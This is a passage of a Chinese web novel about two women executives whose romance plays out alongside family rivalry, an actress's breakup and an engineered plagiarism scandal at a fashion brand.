周静穿着旗袍,也是刚从外面回来,她没有去吴老爷子的生日宴,而是去了基金会。 离开公寓时,她找人看着女儿,没想到那人干净利落,直接屏蔽了公寓的信号。 难怪她打不通女儿的电话。 “打算一直关着我?” 谢知瑶心里头憋着一口怒气,胃口怎么可能好,哪怕桌上的菜都是她喜欢的,但她气都气饱了。 筷子用力戳碗里的牛肉丸,说话也是阴阳怪气。 从T市回来她还在生病,最高烧到了39.8度,不得不住院治疗,早中晚都要输液。 在医院待了整整5天,整个人都快发霉了,本以为病好就能出去找朋友玩,母亲却找各种理由拒绝。 直到今天。 母亲把她反锁在房间里。 周静拢了拢肩上的披肩,对上女儿抱怨十足的目光,不可能无动于衷,心里难受,想到丈夫淡漠泠冽的警告,她只好苦口婆心劝说:“难道妈妈想关着你?” “如果你不知道那件事,你爸也不会这般草木皆兵?他就是怕你在谢思虞面前说错话。” 谢知瑶哑口无言。 父母见面就吵架,她还能一直躲在卧室里? 那天她听到父亲又摔东西,怕母亲受伤这才出来,哪里想到会听到那样的对话。 原来很多年前父亲就把谢思虞母亲的遗物摔碎了,如今谢思虞背靠陆家,Elis都要仰仗她帮忙,也难怪父亲会惶恐不安。 “我又不是傻子。” 谢知瑶蹙起眉,把筷子仍在桌上。 她是不太聪明,可也不至于会愚蠢到把真相告诉谢思虞。 周静身体往后,靠着餐椅靠背,她闭了闭眼,捏了捏眉心:“我不是不放心你,而是不放心谢思虞。” “她能凭借一己之力跟陆氏董事会那几人周旋三年,稳坐总裁的位子,成长至今让你父亲都忌惮,你以为她是运气好?” 谢知瑶抿紧了唇:“当然不是。” 谢思虞从小就惯会伪装,总在父亲面前装乖装柔弱。 她最讨厌她表面一套,背地一套。 “谢思虞真想从你嘴里套话,易如反掌,因为你根本经不起她激。” 周静重重地叹息一声,女儿就像是炮仗,稍微言语犀利激一激,她就恼羞成怒,理智全无。 什么该说的不该说的,通通往外说。 被母亲戳穿。 谢知瑶面颊隐隐发烫,就好像一个鼓鼓的气球,“噗”的一声,所有的气都跑完了。 耷拉着脸:“难道我要躲她一辈子?” 周静:“自然不是。” 等这段时间过了,谢思虞放松警惕,也不会一直揪着她们母女不放。 “将来Elis是你继承,妈妈希望你能尽快成长起来,担起责任,否则……你真的会一无所有。” 周静已经足够小心谨慎,每天安排司机接送女儿上下班,公司也有丈夫亲自盯着,没想到还是出事了。 谢思虞真要是做了什么,她们根本没有招架的能力,只能被牵着鼻子走- 4月12日。 陆氏集团,总裁办。 陆言卿单手托腮,盯着手机锁屏壁纸发呆,照片上谢思虞依偎在她怀里,看向她的眼神温柔又深情。 也不记得是第几次叹息。 注意到时间不早了,她把手机扔进办公桌抽屉里,翻开面前的文件,可纸张上的内容她一个字都看不进去。 今天是第二天。 谢思虞出差的第二天。 她很想她。 也不知道她昨晚有没有失眠。 因为B市商城有轻奢品牌通过“商场储值卡消费不计入品牌流水”的漏洞,少报了500万销售额逃避扣点,事情恶劣且严重,谢思虞表示要亲自过去处理。 一开始她是不同意的。 可阿虞坚持,她又不能仗着总裁的身份“欺负”她。 【卿卿别担心,明天晚上我就回去了。】 “嗡嗡——” 寂静的办公室,抽屉里手机震动的声音比较明显,陆言卿把文件关上,迅速拿出手机解锁,看到谢思虞的回复。 眉头反而蹙的更紧了些。 那人最会避重就轻,没有正面回答,那昨晚肯定就是失眠了。 「阿虞晚上睡不着就吃一颗安眠药,不然第二天更疲惫,知道吗?」 「我就不该听你的话,就应该让销售部周越过去。」 「晚上没有阿虞在我身边,我也睡不好。」 陆言卿揉了揉酸胀的眉心,昨晚她一个人躺在柔软的大床上,翻来覆去睡不着,好几次想给谢思虞打视频,最后都忍下来了。 万一妻子已经睡了,她打过去肯定会把人吵醒。 大概凌晨4点左右才睡着。 早上7点闹钟把她吵醒,只睡了3个小时,怎么可能不疲惫呢? 之前也不是没有熬夜过,反正整个上午她脑袋都晕晕沉沉的。 【好,睡不着我会吃安眠药。】 【快到中午了,卿卿准备出去吃还是在员工食堂吃?】 陆言卿慵懒地靠着办公椅靠背,眉目柔和,大拇指摁住聊天页面底部的按钮说话:“我好想阿虞,想抱抱你,亲亲你。” 故意用暧昧又撩拨的声音说。 不用看都能想象。 谢思虞听到这话时会羞赧地红了脸。 【我也想你。】 【照片。】 【回来这里给卿卿亲。】 对方几乎是秒回。 看到「我也想你」四个字,陆言卿并没有意外,反而是谢思虞发给她的自拍照,还说回来给她亲,令她呼吸稍稍停滞了几秒。 随后陆言卿眼神带着说不清的意味深长,再次摁住按钮说话,目光温柔,但嗓音比之前多了几分揶揄:“可我每次亲的时候阿虞都躲,确定回来后不会再躲吗?” 【不确定……】 陆言卿轻笑出声,点开照片放大,谢思虞洗漱后裹着浴巾,柔顺的长发披散下来,没有吹的太干,发梢还带着湿意。 露出锁骨以上的肌肤,白皙如雪。 照片并没有不得体,而她看过浴巾下面的旖旎风光,才会心神荡漾,心跳不稳。 「好了,不逗你。」 「中午我去员工食堂吃。」 「B市商场工作繁忙,阿虞一日三餐也要按时吃。」 结束聊天。 陆言卿继续处理文件,不知不觉就到了午饭时间,办公室的门被叩响,外面是魏洁:“陆总,我和晓晓要下楼吃饭,您要一起去,还是我帮您带一份上楼?” 陆言卿扭了扭僵硬的脖子,拿着手机站起身:“我跟你们一起。” 上午坐了挺长时间,下楼正好活动活动。 结果就听到了关于苏蔓的八卦。 大厦6楼。 陆氏员工食堂。 只要是陆氏员工,都可以免费在食堂用午餐,当然,如果有人想换换口味出去吃,也是个人自由。 陆言卿和江晓晓先在窗口打了饭菜,找了4人座的空位坐下来。 魏洁去洗手间,人还没有回来。 咔嚓。 陆言卿今天打了糖醋小排,她拍了照片发给谢思虞,并备注:等着吃陆夫人的糖醋排骨呢~ 另外还有白灼菜心和清炒藕片。 江晓晓端着两碗紫菜蛋花汤回来,坐下就忍不住问:“陆总,你有听到大家八卦的内容吗?” 陆言卿夹起一块糖醋小排放进嘴巴里,冲着江晓晓摇头。 结果小姑娘还没说,斜后方的餐桌,三名女员工就开始七嘴八舌的议论起来。 员工A一边用筷子搅拌碗里的蛋花汤,一边滑动手机屏幕:“真的假的,苏蔓和星海副总分手了?” 旁边员工B:“娱乐圈的事真真假假谁说的清,狗仔就算拍到照片,也会夸大其词来吸引流量。” 餐桌对面员工C:“我朋友就是苏蔓粉丝后援会的成员,她们有微信群,群里有成员说苏蔓前天回榕城了。” “因为错失了某某电视剧的角色,苏蔓状态挺糟糕的,不少人在群里安慰她。” 员工A翻白眼儿:“这也不能说明苏蔓和那位邹总分手啊。” 员工B:“先不说苏蔓感情的事,她最近三年拍的戏,80%的电视剧播出都超预期,长得漂亮,演技还不错,也难怪那么多人喜欢她。” 员工C:“演技好足够努力是一回事,苏蔓能在短时间内成为影后,跟她那位「女友」也有很大关系吧。听说星海娱乐副总邹筱,往苏蔓身上砸了不少钱和……” “虽然是下班时间,但没有经过证实的事情,还是少议论,你们觉得呢?” 魏洁从洗手间出来,找了一圈才看到陆言卿和江晓晓的身影,拿着托盘去窗口打饭菜,走近餐桌,却听到有员工在议论苏蔓的八卦。 想到陆言卿和苏蔓曾经交往过,她冷着脸提醒三人。 三名员工确实懵了。 魏洁可是陆总的特助,她出现在这里,那陆总? 员工C扭头看过去,柱子那边的餐桌,陆言卿正在喝汤。 似乎是察觉到她的视线,抬起头冲她笑了笑。 咳咳—— 真的是,她干嘛心虚。 她们又没有说陆总和谢副总的坏话。 这边。 魏洁坐在江晓晓旁边,不着痕迹打量陆言卿的面部微表情,确定她没有生气,莫名松了口气。 可想到那天在外面看到的一幕,目光又变得复杂起来。 二十分钟后。 陆言卿一行三人回到32层,江晓晓出了电梯,火急火燎回到工位,拿着水杯冲进了茶水间。 魏洁还没有走到工位,就被身后陆言卿叫住:“你跟我来办公室。” 总裁办。 沙发区。 陆言卿眼神示意魏洁坐下,她倒了杯果茶放在对方面前的岩板茶几上,嗓音温和:“你不用紧张,最近工作也做的很好。现在是休息时间,耽误你十分钟。” 魏洁闻言深呼吸了一口气,但身体还是很紧绷,想要找点寄托,于是端起了茶几上的玻璃杯:“陆总……想说什么?” 陆言卿在魏洁对面坐下来。 今天她穿的是焦糖色收腰款连衣裙,裙摆在膝盖往上,因为坐着的缘故,裙摆显得更短,露出大片雪白的肌肤。 她双腿随意交叠着,优雅之余带着丝丝慵懒,开口嗓音平静温和:“应该是魏助理有话要跟我说。” 毕竟三年前魏洁就当过她半年的助理,虽然过去很长时间,但一个人下意识的小动作,没办法改变。 这段时间这姑娘总是一副欲言又止的模样,明显藏着事,而且还跟她有关。 魏洁瞳孔骤然紧缩。 很快又镇定下来,她被陆言卿看穿也不足为奇,双手捧着玻璃杯,迟疑不决:“陆总,我,我不知道该不该告诉你。” 陆言卿神情淡然:“如果事情跟我有关,你尽管直言,是非曲直我自己会判断。” 话已至此,魏洁将自己看到的事说了出来,只是陈述事实,没有添油加醋,更没有带入主观臆想。 “谢副总和星海娱乐的副总邹筱在一家名为‘云栖’的咖啡店喝咖啡,她们……大概交谈了半个小时。” 那天她休假。 因为表妹20岁生日,想着送她一条裙子,怕自己挑选的连衣裙表妹不喜欢,就约着她一起。 她们也是刚好逛到那条街附近。 “我并非有意监视谢副总,而是我和表妹进入咖啡店对面的服装店看衣服,挑选,试穿,最后结账出来,她们还在咖啡店里。” 陆言卿拇指轻轻地磨挲手机的金属侧边,眼睑低垂,目光略微复杂。 陆氏和星海没有业务往来,如果只是偶然碰到,应该也不会交谈半个小时。 “陆总?” 魏洁出声拉回陆言卿的思绪,她抬眸望过去,只见魏洁脸上神色局促不安,她轻声道:“谢谢你告诉我,回头我会问阿虞,这件事你就当做不知情。” 魏洁放下玻璃杯,反应过来又端起杯子,她还是拿到外面茶水间清洗。 “陆总您放心,我绝对守口如瓶。” 有些事,她根本不敢往深处细想。 如果谢副总和星海副总认识,那她们认识多久了? 是朋友,还是“合作”伙伴? 要命的是,中间还牵扯到一个苏蔓。 办公室的门关上。 陆言卿头往后仰,靠着沙发靠背,闭上了眼睛。 心情莫名烦躁。 第52章 阿虞不要抿唇,你这是在勾-引我。 办公室加湿喷雾器是全自动的, 到了预设的时间便会开始工作。 “嗡嗡”声响起,陆言卿睁开了眼睛,先是抬眸看了眼加湿器方向, 紧接着解锁手机屏幕,打开微信。 唯一置顶的联系人就是谢思虞。 前段时间她把备注改成了陆夫人三个字。 聊天页面上谢思虞最后回复她内容是:「没有忘记,等我回来就做糖醋排骨给卿卿吃。」 陆言卿不是一个喜欢瞎琢磨的人, 遇到问题她会想办法沟通解决,左思右想后她还是决定问问谢思虞。 编辑文字, 又删删减减,最后只留下一句:阿虞,你和星海副总是认识吗? 信息发送成功。 陆言卿突然想起来一件事, 急忙将内容撤回, 幸好时间没有超过两分钟,可她也不确定这条消息有没有被谢思虞看到。 【今晚我不是处理集团的工作, 至于具体是什么,我现在还不能说。】 之前她感冒发热,撞见谢思虞凌晨还在客厅工作,当时那人见到自己,下意识盖上笔记本电脑,且脸上的慌乱做不得假。 也许那会儿她猜错了。 谢思虞不是被她抓到加班熬夜才慌乱不安,而是有事瞒着她。 她们躺到床上, 谢思虞迟迟无法入睡,依旧忐忑不安, 直到她给出承诺:那就先不说, 等阿虞觉得哪天时机成熟了再告诉我。 眼前浮现出谢思虞小心翼翼的模样, 陆言卿心脏好似被细小的刺扎了下,闷闷的疼。 无论如何她都应该相信阿虞。 如果谢思虞真的从三年前就开始下这盘棋, 那样深沉叵测的心机和手段。 还用到她的身上,所有的一切都该另当别论了。 【卿卿发的什么内容?还撤回去了。】 紧攥在手里的手机响起铃声,陆言卿看到来电显示后,第一时间接听,耳畔随之传来谢思虞温柔带笑的嗓音。 “就是想阿虞了,发出去了意识到自己两个小时前才说过。” 陆言卿整理好复杂的心情,站起身往外走,真的听到谢思虞温柔细软的声音,才发现她真的很想她。 其实她们分开仅有一天,且时不时通过微信聊天。 “怕阿虞笑话我,便把消息撤回了。” 【那要不要视频?】 “阿虞吃过午饭了吗?在商城还是在酒店?” 陆言卿离开办公室,秘书部江晓晓趴在桌子上睡觉,而魏洁的工位空着,她很快收回视线,轻手轻脚推开了副总办公室的门。 【中午在商场一家中餐馆吃的饭,是李总请客,十分钟前回了酒店。】 【我听卿卿的话,哪怕睡不着也眯半个小时。】 进入休息室。 空气中弥漫着一股淡淡的橙花香,陆言卿听到谢思虞撒娇的话,心下一片柔软。 掀开羽绒被坐在床边,将两个枕头叠放在一起,她坐靠在床头,笑着回:“那我把电话挂了,给阿虞打视频过去。” 很快。 谢思虞接起视频,她侧躺在床上,穿着一件灰蓝色翻领衬衫,脸上画着淡妆,半张脸都陷进柔软的枕头里。 放大的五官出现在镜头里,勾得她心神不宁,陆言卿喉咙微动,嘴角噙着笑:“阿虞不要抿唇,你这是在勾-引我。” “我没有。” 那头谢思虞下意识反驳,无措地眨眨眼,也松开了唇瓣,对上陆言卿揶揄的目光,娇嗔瞪着她,“卿卿再说这样的话,我,我就挂视频了,不给你看。” 陆言卿没忍住轻笑出声。 她的阿虞还是这般可爱,所以——她又怎会处心积虑算计她呢? 水眸里含着浅笑,温和道:“阿虞把手机放在两个枕头中间的缝隙里,闭上眼睛睡会儿,我陪着你。” 谢思虞本想说不用,但昨晚她失眠,一宿没睡,如今不过是强撑着,不想让陆言卿担心,便依着她的话把手机放在一旁固定。 手机屏幕陷下去一大半,她都看不清那头的人。 【阿虞快闭上眼睛。】 【我不挂视频。】 陆言卿就这么坐靠在床头,一瞬不瞬盯着镜头那头的人,手指隔空描绘谢思虞的五官。 她的骨相生的极美,无论怎样的死亡角度看过去,都很漂亮。 时间一晃过去二十分钟。 打开屏幕上的扩音功能,隐约能听到谢思虞平稳均匀的呼吸声。 陆言卿恋恋不舍挂断视频,给刘瑶发了条信息:「阿虞昨晚失眠,她现在睡下了,两个小时后再去敲门。」- 1:55分。 榕城星海娱乐有限公司。 谁又能想到三年前岌岌可危险些要破产的公司会发展至今,成为圈内举足轻重的领头羊。 旗下培养出3名顶流,9名二线和14名三线艺人,剩余有颜值有实力的艺人也数不胜数。 更别提每个季度都会签约的新人。 16楼,副总办公室。 午休时间2点半结束,苏蔓从电梯间出来,还没走到办公室门口,就见苏琳从里面打开门,手里还拿着资料。 苏琳抬眸对上苏蔓不太友善的目光,微微蹙眉,出来后也没有主动开口打招呼。 然而两人插肩而过的瞬间,她听到苏蔓略带挑衅的话:“我们还未分手,你未免太急切了些。” 苏琳只觉得莫名其妙。 苏蔓不会以为她会喜欢邹副总吧? 这不是搞笑吗? 想怼回去,看到旁边空无一人的总裁办公室,她歇了“争吵”的心思。 【晚上发布会要穿的衣服,稍后我会让人给你送过去。】 【之后不管发生什么,你都无需过问和担心,等风波过去,公司会给予你相应的补偿。】 苏琳捏紧了手里的资料,明知道按照邹副总的吩咐行事,她会绯闻缠身,可事到如今,她好像也没有理由拒绝。 但愿她猜的没错。 真正让她做这件事的人,是星海神秘莫测的那位总裁。 苏琳一句话没有反驳便走进了电梯,这让苏蔓一拳打在棉花上般无力,心里的恐慌也被无限放大。 她是故意说那样的话。 其实打心底里不相信苏琳真的会跟邹筱有什么,可其他的东西,比如资源,人脉,邹筱这些年给她的,也能给别人。 “你怎么来了?不是让你这几天在家里休息?” 整个公司只有苏蔓敢不敲门就进入她的办公室,邹筱抬眸看到进来的人,眉头微蹙。 大拇指往左滑动屏幕,把和谢思虞的聊天记录删除。 “我不想休息,我想要见你。” 苏蔓摘下鼻梁上方的墨镜,连同包包一起仍在沙发上,踩着5厘米的细高跟来到邹筱面前,想拿她手里的手机,却被不着痕迹躲开。 脸色顿时沉下来。 好半晌,苏蔓才把悬在空中的手收回来。 转身倚着办公桌,反手撑着桌面,似笑非笑逼问:“微信上有什么是我不能看的?” 邹筱锁了屏幕,把手机扔进抽屉里,坐在办公椅上微微仰头看着苏蔓,哪里不知道她在发脾气。 这几年每次争吵,都是她先低头哄人,这次莫名不想哄了。 嗓音平静,顺着她的话往下说:“有很多。” 苏蔓闻言错愕地瞪大双眼,用力抓着办公桌边缘,深呼吸好几次,才强忍着没有哭出来:“可你之前不是这样说的。” 她们刚恋爱那会儿,邹筱对她没有秘密,哪怕是手机,她也可以翻看。 三年了,是已经腻了她吗? 邹筱有将近300度的近视,平常外出都是戴隐形眼镜,这几天眼睛有点发炎,她在公司就戴着镜框。 以前她喜欢苏蔓懂分寸,知进退。 可随着她们交往时间变长,她开始要的越来越多,也变得得寸进尺。 摘下眼镜,捏了捏眉心,耐着性子解释:“蔓蔓你是在装傻吗?要知道我不仅是你的女友,还是你的顶头上司,我办公的手机是你能随便翻开的?” 以前谢思虞睁一只眼闭一只眼,她可以由着苏蔓的性子,给她越级的资源。 只要每个季度交给谢思虞的财务报表,完美超出预期,那人就不会过问。 可前不久谢思虞说了,不能再特殊对待,这便意味着她不能再偏袒苏蔓。 否则,她也要跟着滚蛋。 苏蔓咬了咬唇,眼尾通红。 挣扎许久,好似作出了妥协,再开口说话带着浓浓的鼻音:“好,我不看你的手机,那你告诉我,今天找苏琳是什么事?” 为什么网上有关于她和邹筱分手的传闻,就是因为她们在机场VIP休息室争论了几句。 大型古装电视剧《荒月》官方公布了演员名单,苏琳出演其中的女二号。 邹筱明知道她有多喜欢那个角色,却始终闭口不谈,任由她私下去见杨导和陈制片,最后碰壁。 如今她与《荒月》的女二号失之交臂,心里头怎么可能不怨? 苏蔓咬着唇很不甘心,要论咖位,论演技,她哪里比不上苏琳? 如果由她出演,给公司带来的收益肯定远超苏琳! “今天的事我不能告诉你。” 邹筱稍后还有事,谢思虞怕中间出现意外,让她晚上去发布会现场亲自盯着。 站起身翻找桌上一叠文件,将某档侦探类综艺剧本递给苏蔓,“拿回去看看,如果有兴趣明天来公司签合同。” 苏蔓没有接,反而往后退了一步。 眼底写满了受伤,胸口那颗心脏更是撕扯一般疼。 她真的没有表面这般坚强。 再理智再沉稳。 感情和工作有时候也会混为一谈。 如今邹筱随便扔给她一档综艺,更像是在羞辱她。 “如果我非要知道呢?” 邹筱冷了脸:“不要任性。” 苏蔓自嘲,到底没能忍住问了出来:“我任性?邹筱,你这些年是真的喜欢我吗?还是把我当是一个不错的玩偶,心情好就逗弄,心情不好就随意丢弃在一旁。” 邹筱不怒反笑,把文件放在桌上,转身面对着苏蔓,见她流泪,嘴里说着她不喜欢听的话,心情烦躁到了极点。 “我从没这样想过,你别胡思乱想。” 过了几分钟,邹筱败下阵来,抽了两张纸巾,上前想要帮苏蔓擦眼泪,而她却再一次后退。 苏蔓用指尖擦拭掉眼角的泪水,她都这般委屈了,邹筱都没有安慰她,唇角勾起讥讽的笑。 喜欢一个人不是这样的。 “如果你腻了,那我们就分手吧。” 听到分手两个字。 邹筱眼中闪过愕然,同时竟有种如释重负的感觉,垂在身侧的手反复握拳,终究没有说挽留的话。 拿着手机往办公室外走,手握住门把手,她停下来转头对哭泣的苏蔓说:“你想分手,那我们就分手。” 低头太多次。 她真的有些累。 办公室的门关上,邹筱站在外面也能听到里面传来苏蔓哭泣的声音,在原地站了许久,直到助理打电话来催促,她才迈开脚步往电梯间走。 她和苏蔓就这样吧。 分了也好。 省的她两头为难- 次日晚上9点。 从B市飞往榕城的航班准时降落,谢思虞和刘瑶从VIP通道口出来,她正低头看手机,准备给某人报平安,旁边刘瑶拍了拍她的肩膀。 指着不远处接机的人群说:“谢副总,那个人好像是陆总耶。” 谢思虞顺着刘瑶手指的方向看过去,眉眼顿时变得柔和,那就是陆言卿。 她穿着黑色西装裙,柔顺的长发半扎着,散落一半下来,整个人温婉又优雅。 哪怕戴着口罩,因为怀里捧着一束蓝色妖姬,在人群里也格外夺目。 “阿虞。” 看到谢思虞的瞬间,陆言卿眼睛一亮,立刻把手机装进斜挎包里,朝着她大步流星跑过去。 等到了跟前,迫不及待将人捞进怀里,低头在她唇上亲了又亲。 谢思虞也很想陆言卿,但脸皮薄,大庭广众下这般亲密,她很是难为情。 搂着某人的脖子,凑到她耳畔说:“回车里再亲好不好?” 陆言卿笑着松开谢思虞,接过她手里的拉杆箱,把蓝色妖姬递给她:“送给阿虞的。” 刘瑶在一旁看着,她的脸也红了。 把两人送到车上,急忙找借口离开:“陆总,谢副总,我打的网约车到了,那我先撤,你们回去路上注意安全。” 陆言卿本想送刘瑶的,结果她降下车窗,外面的人都跑没影了。 无奈只好把车窗关上。 副驾驶谢思虞双手捧着花束,低头轻嗅,眼神温柔似水,正想开口,怀里的花束被拿走。 紧接着她就被陆言卿摁在座椅上亲吻。 私密狭窄的车厢里。 两人紧密拥抱,卷舌亲吻,宛如火星掉落干草垛里。 吻的难分难舍。 吮吸深吻,发出的啧啧水声,光是听着就令人脸红心跳。 第53章 卿卿,别亲那里…… “卿卿, 别亲那里……” 谢思虞心跳得很快,呼吸微喘,澄净温柔的眼眸里浸染了潋滟的水光。 她被陆言卿搂抱着卷舌深吻, 也不知道是不是缺氧,脑袋晕乎乎的,整个人也变得浑身无力, 只能靠在她怀里。 衬衫的纽扣被陆言卿解开三颗,露出里面的bra, 当对方柔软又带着灼热喘息的吻落在她锁骨处,还有隐隐往下的趋势。 谢思虞猛地睁开眼睛,她掐着某人的腰肢轻轻往外推, 开口嗓音又娇又软。 陆言卿察觉到谢思虞颤栗的身体, 抚摸着她的脸颊,抬起头那双湿漉的眼睛也带着难以忽视的情-欲。 她几乎是靠在谢思虞身上, 胸前的软绵紧紧压着对方,闭上眼睛又亲了亲谢思虞微微红肿的唇瓣,缠绵又温柔。 “好,不亲,我们回家再亲。” 陆言卿莞尔一笑,帮谢思虞扣好衬衫的纽扣,帮她把衣角的褶皱抚平, 就这么轻轻拥着她,缓解内心深处的躁动与欲-念。 “我……卿卿我是不是很没用?” 谢思虞茫然地喘着气, 她是她的妻子, 她们又分开了好几天, 其实她也是想她的,只不过在车里, 她到底有些放不开。 好似看穿谢思虞的小心思,陆言卿低头亲了亲她的鬓角,温柔道:“阿虞别胡思乱想,是我太急切忘记了场合。” 其实以她对谢思虞的了解,如果她态度再强硬一点,这人肯定会妥协,由着她在车里就胡来。 接下来两人谁都没有说话,就这么亲密无间相拥着,气氛温馨又甜蜜。 直到一阵铃声打破了车内的寂静。 “谢董这个时候找你,是因为Elis涉嫌抄袭的事情吧?” 陆言卿帮谢思虞系好安全带,见她直接挂了电话,无意间扫见手机屏幕上的来电显示,想到这两天网上的事情,亲昵地捏了捏谢思虞的鼻尖。 #Elis涉嫌抄袭CC# #苏琳穿抄袭货翻车# 【致敬经典不等于抄袭,Elis必须给出合理的解释,我们琳琳何其无辜。】 【昨晚苏琳发布会现场穿的连衣裙,确实和三年前奢侈品牌CC的秀场款有类似的刺绣纹样。】 【姐姐赶紧和Elis解约,还要让对方赔偿损失,真是晦气!】 【看到是苏琳代言的品牌我才买的,结果就这?退粉退粉,无语死了。】 【姐姐只是按品牌给的衣服穿,她懂什么设计?骂人的先去骂品牌啊!】 【建议姐下次直接穿拼夕夕联名款,反正都是打版,还能省下代言费呢~】 【刚买了他家连衣裙,现在看像裹了块抄袭抹布!退货!赔钱!】 【Elis的设计师呢?赶紧出来解释啊!不会又想蹭热度最后赔钱和解吧?】 苏琳代言轻奢服装品牌Elis,昨晚发布会就是穿品牌方提供的连衣裙,结果被眼尖的网友扒出抄袭事件。 如今还挂在微博头条上。 网友们众说纷纭,有人同情苏琳,觉得她也太倒霉了,让她赶紧和Elis解约,也有不少人痛斥Elis抄袭的行为,简直就是给服装设计师抹黑。 谢思虞打开微博,随便打开一条苏琳穿抄袭货翻车的话题,指尖滑动屏幕浏览评论,内容都相当精彩。 她关掉网页,谢明远又打电话进来,本来想挂断的,结果因为陆言卿帮她整理发丝,手指碰到她颈部的肌肤,有点痒痒的,不小心按到了接听键。 【思虞啊,你可算接电话了,如今闹出抄袭的事情,各大电商平台都面临大量退货,爸爸也是没有办法才找你。】 听筒那头谢明远嗓音急切,焦头烂额也是真的,怕谢思虞挂电话,说话跟倒豆子似的根本停不下来。 【当初苏琳代言Elis,是你在中间牵线,当然爸爸不是怪你的意思,你能不能说动苏琳那边先给出解释?就是力挺Elis。】 【你妹妹虽然顽劣,性格乖张,但她不可能愚蠢到去抄袭,这件事肯定有误会。】 【思虞你在听吗?】 车里,谢思虞靠着座椅靠背,她去B市出差3天,连续两晚都没怎么休息,加上要赶进度,白天也需强撑着工作。 此时此刻真的很累。 况且这次Elis闹出抄袭风波,本就是她授意,目的就是逼谢知瑶狗急跳墙来求她。 所以现在她真的一点也不想跟谢明远虚与委蛇,眉眼间流露出淡淡的疲惫,正要说话左侧陆言卿握住了她的手腕。 陆言卿注意到谢思虞眼底的青黛,知道她疲惫劳累,也看出她不想跟谢父周旋,于是把手机拿过来,顺便将座椅靠背放下来。 俯身低头凑到她耳畔轻声说:睡吧,事情交给我处理。 “谢董,阿虞出差刚回榕城,很疲惫。你说的事我也有所了解,事到如今是收集相关证据,证明谢知瑶没有抄袭,您说呢?” 【陆,陆总。】 【您说的我都明白,可舆论哗然,苏琳那边也逼得紧,我会尽快收集证据。】 【如果思虞休息好了,您让她回我个电话。】 陆言卿不紧不慢“嗯”了声,随后便挂了电话,把手机放在中央储物盒里,副驾驶上谢思虞睁着明亮皎洁的大眼睛,正盯着她看。 她轻笑一声,轻轻揉了揉她的头发:“睡不着?” “我现在就睡。” 谢思虞双手交叠在肚子上,乖巧又温柔,明明她比陆言卿还要大一岁多,可在“妹妹”面前,她就是温和羞赧的“姐姐”。 陆言卿低头吻了吻谢思虞的眼睛,见她这幅模样,心脏被揉的稀巴烂。 这时妻子说要天上的星星,估计她也会想方设法为她摘来。 没有再闹。 陆言卿启动引擎,慢慢将车驶出车库,前往江海澜苑,为了让谢思虞能好好休息,她开的速度很慢。 然而另一边。 谢氏Elis办公大楼,却是一阵兵荒马乱。 董事长办公室。 销售总监孙晓月看到后台退单数据还在不断增加,不得不拿着平板前来找谢明远,轻叩大门,听到里面传来暴躁的声音,心里打鼓也只能硬着头皮上。 推开门。 里面氛围透着说不出的压抑,办公室里除了谢明远,还有谢知瑶,她两只眼睛通红,脸上还有未干的泪水。 一时间,孙晓月也不知道该如何安慰,假装没有看到这些,她把平板放在谢明远面前的办公桌上,言简意赅:“谢董,目前的局势对Elis很不友好,线上线下也面临大量退单,苏琳那边还是联系不上吗?” 谢明远看到平板上Elis后台销售数据,最近两天损失超过4百万,就在十分钟前,他邮箱收到奢侈品牌CC的律师函,对方控告他们抄袭。 而代言人苏琳那边,也逼他们给说法,要是处理不当,他们将会赔偿对方三倍的违约金。 “让公关部的张浩来见我,你先回销售部,通知下去让各个门店的员工先稳住顾客啊!” 顾客跟风退款,抄袭还在处理,这次明显就是有人设局搞他们,就不能动动脑子先稳住人吗? 谢明远双手撑着办公桌面,因为愤怒太阳穴青筋凸起,格外瘆人。 孙晓月张了张嘴巴,想说什么,见谢明远处于暴怒中,还是歇了心思,转身往外走。 顾客要退款,一窝蜂涌进服装店,店员们也内外交困,是能拖片刻,可这终究治标不治本啊。 “啪——” 谢明远抓起手边的文件夹仍在谢知瑶脚边,每次小女儿遇事惹祸就知道哭,看得他更加烦躁! “苏琳昨晚穿的连衣裙是你亲自设计的,裙摆上刺绣图案有没有抄袭,不,应该说有没有借鉴,你心里没点数吗?” 谢明远气得胸口疼,踢开脚边的资料,来到女儿面前,言语犀利:“服装行业最忌讳就是抄袭,我不止一次提醒过你,谢知瑶,CC家的律师函都发到我邮箱了,你还狡辩?” 他不相信女儿会抄袭。 但借鉴,说得更委婉一点,跟网友阴阳怪气的评论一样,致敬经典。 没有被人发现也就罢了,一旦被眼尖的网友发现,就会抓着不放。 给Elis扣上抄袭的帽子。 将来想甩,都甩不掉! “我……不知道事情会变成这样。” 谢知瑶眼睛都哭肿了,她抽噎着回话,昨晚Elis被曝光抄袭的事情,她就被父亲母亲,还有同事好友逼问,质疑。 可她也很迷茫啊。 苏琳昨晚穿的连衣裙,是去年12月她设计的款式,就只有白色和雾蓝色两种款。 她也是半个月前才拿到连衣裙,工厂那边还未大量制作。 “我当时是看了CC家的秀场款连衣裙,想借鉴来着,后来怕出事,就重新修改了裙摆的刺绣图样。” 谢知瑶垂在身侧的手攥紧了裙摆,突然想起来那张被她扔进垃圾桶的设计图纸,愕然地瞪大眼睛:“爸,公司不会是有内鬼吧?” “去年12月……13号,还是14号,我办公室的监控还能调取出来吗?” 谢明远一听,眉头也跟着蹙起来,如果真的如女儿所说,有人捡走了她的设计图纸。 那事情就更恶劣了。 第54章 宝贝,你这是想要……我的命? 晚上10:35分。 榕城江海澜苑, 6栋,12层。 陆言卿今天下班后回老宅看祖父祖母,两位老人毕竟年龄大了, 身体大不如前。 祖父每隔三天就要做一次透析,而祖母呢,上次摔倒右腿骨折, 虽然石膏已经拆了,但出行还是要靠轮椅。 傍晚她留在老宅陪两位老人吃饭, 临走前祖母让她打包些新鲜的水饺,说白菜肉馅儿谢思虞喜欢吃。 这不,她回到公寓就开火烧水, 煮了碗饺子。 “照片发给奶奶看, 她总担心我没有把你照顾好。” 餐厅,陆言卿坐在谢思虞对面的餐椅上, 拍了她吃饺子的照片发给祖母,说话嗓音透着无奈,然而眼眸里却带着温和的笑意。 “卿卿照顾的很好啊,我昨天称体重都胖了2斤。” 饺子的皮很薄,里面的馅儿鲜香滑嫩,肉一点都不柴,谢思虞确实很喜欢, 筷子在碗里拨了拨,发现碗里还剩的5个水饺, “卿卿要不要尝一个?” 陆言卿轻轻摇头:“不用。” 每次她在老宅用餐, 祖母都会给她夹很多的菜, 就怕她吃不饱。 锁屏突然亮起,是魏洁发过来的文档, B市商场逃避扣点的两家门店,还有点收尾工作。 “我去书房处理点事情,阿虞吃完就去洗漱,今晚早点睡觉。” 拿着手机站起身,陆言卿绕过餐桌来到谢思虞身边,稍稍俯身低头在她额头落下轻柔的吻,“不用等我。” 